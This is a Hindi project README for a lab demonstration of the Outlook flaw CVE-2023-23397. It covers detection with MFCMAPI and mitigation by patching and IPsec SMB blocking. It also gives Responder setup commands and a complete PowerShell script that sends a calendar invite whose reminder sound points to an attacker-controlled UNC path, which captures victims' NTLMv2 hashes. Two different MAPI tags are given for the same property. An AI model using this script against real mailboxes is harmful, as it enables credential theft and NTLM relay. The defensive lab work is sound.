CVE-2023-23397 शोषण और शमन डेमो

📌 अवलोकन

यह प्रोजेक्ट CVE-2023-23397 का पता लगाने, शोषण करने और शमन करने का प्रदर्शन करता है, जो Microsoft Outlook for Windows में एक गंभीर ज़ीरो-क्लिक NTLM रिले भेद्यता है। कैलेंडर आमंत्रणों के माध्यम से शोषित होने वाली यह भेद्यता हमलावरों को बिना किसी उपयोगकर्ता इंटरैक्शन के NTLMv2 हैश पर कब्जा करने की अनुमति देती है।

🛡️ CVSS स्कोर: 9.8 (गंभीर)
🖥️ प्रभावित संस्करण: Outlook 2013, 2016, 2019, Microsoft 365 (14 मार्च 2023 पैच से पहले)

⚠️ भेद्यता विवरण

Outlook के कैलेंडर रिमाइंडर को PidLidReminderFileParameter MAPI प्रॉपर्टी के माध्यम से कस्टम ध्वनियाँ चलाने के लिए कॉन्फ़िगर किया जा सकता है। Outlook UNC पथों को मान्य नहीं करता है, जिससे रिमाइंडर ट्रिगर होने पर दूरस्थ SMB अनुरोधों की अनुमति मिलती है।

\\attacker-ip\share\sound.wav

यह NTLMv2 हैश को हमलावर-नियंत्रित सर्वरों पर भेजने का कारण बनता है, जिन्हें फिर:

• ऑफ़लाइन क्रैक किया जा सकता है (पासवर्ड पुनर्प्राप्ति)
• विशेषाधिकार वृद्धि के लिए NTLM रिले हमलों में उपयोग किया जा सकता है

🔍 पहचान विधि

MFCMAPI का उपयोग करके कैलेंडर आइटम्स का निरीक्षण करें और PidLidReminderFileParameter (MAPI टैग 0x851F001F) में दुर्भावनापूर्ण मानों की जाँच करें।

चरण:

1. MFCMAPI खोलें → QuickStart > Open Folder > Calendar
2. Table > Set Columns पर जाएँ
3. रिमाइंडर फ़ाइल पथ देखने के लिए प्रॉपर्टी टैग 0x808A001F जोड़ें
4. समझौते के संकेतक के रूप में UNC पथ देखें

🛠️ शमन तकनीकें

1. Microsoft पैच लागू करें (अनुशंसित)

14 मार्च 2023 पैच स्थापित करें (जैसे, KB5002044)। पैच निम्नलिखित प्रस्तुत करता है:

• IsFileZoneLocalIntranetOrTrusted() रिमाइंडर फ़ाइल पथ को मान्य करने के लिए
• विश्वसनीय डोमेन परिभाषित करने के लिए Group Policy विकल्प

परीक्षण परिणाम:
Outlook इवेंट ID 1008 लॉग करेगा और अविश्वसनीय SMB पथों तक पहुँच को अवरुद्ध करेगा।

2. IPsec नेटवर्क-स्तरीय शमन (अस्थायी)

a. सभी SMB ब्लॉक करें

• आउटबाउंड TCP 445 (SMB) ब्लॉक करता है
• अविश्वसनीय नेटवर्कों में NTLM लीक को रोकता है

b. केवल विश्वसनीय IP की अनुमति दें

• आंतरिक IP परिभाषित करें (जैसे, 192.168.1.0/24)
• आंतरिक SMB उपयोग के लिए व्यावसायिक निरंतरता बनाए रखें

📂 पूर्व-निर्मित पॉलिसी: OutlookMitigation.ipsec

💻 प्रोजेक्ट सेटअप

वातावरण

हमलावर (Kali Linux)

sudo apt install responder
sudo responder -I eth0 -v

सुनिश्चित करें कि Kali और विक्टिम VM एक ही नेटवर्क पर हैं।

विक्टिम (Windows + Outlook 2013)

1. इंस्टॉल करें:

   • Outlook 2013
   • .NET 2.0
   • hMailServer
   • MFCMAPI

2. सेटअप करें:

   • hMailServer डोमेन: exploit.com
   • ईमेल उपयोगकर्ता: [email protected]

🚨 शोषण (PowerShell स्क्रिप्ट)

# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
 
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]")  # List of emails

# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem

# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes

# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"

foreach ($email in $emails) {
    $Appointment.Recipients.Add($email) | Out-Null
}

# Save and send the appointment
$Appointment.Save()
$Appointment.Send()

Responder विक्टिम सिस्टम से NTLMv2 हैश कैप्चर करेगा।

✅ सत्यापन

पहचान

• PidLidReminderFileParameter में UNC पथ होने की पुष्टि करने के लिए MFCMAPI का उपयोग करें।

शमन

• पैच या IPsec पॉलिसी लागू करें।
• स्क्रिप्ट फिर से चलाएँ: Outlook एक रिमाइंडर दिखा सकता है लेकिन कोई NTLM हैश कैप्चर नहीं होना चाहिए।

❗ सीमाएँ

• सभी SMB ट्रैफ़िक को ब्लॉक करने से वैध सेवाएँ प्रभावित हो सकती हैं (फ़ाइल साझाकरण, डोमेन प्रमाणीकरण)
• विश्वसनीय IP को बनाए रखना परिचालन रूप से जटिल हो सकता है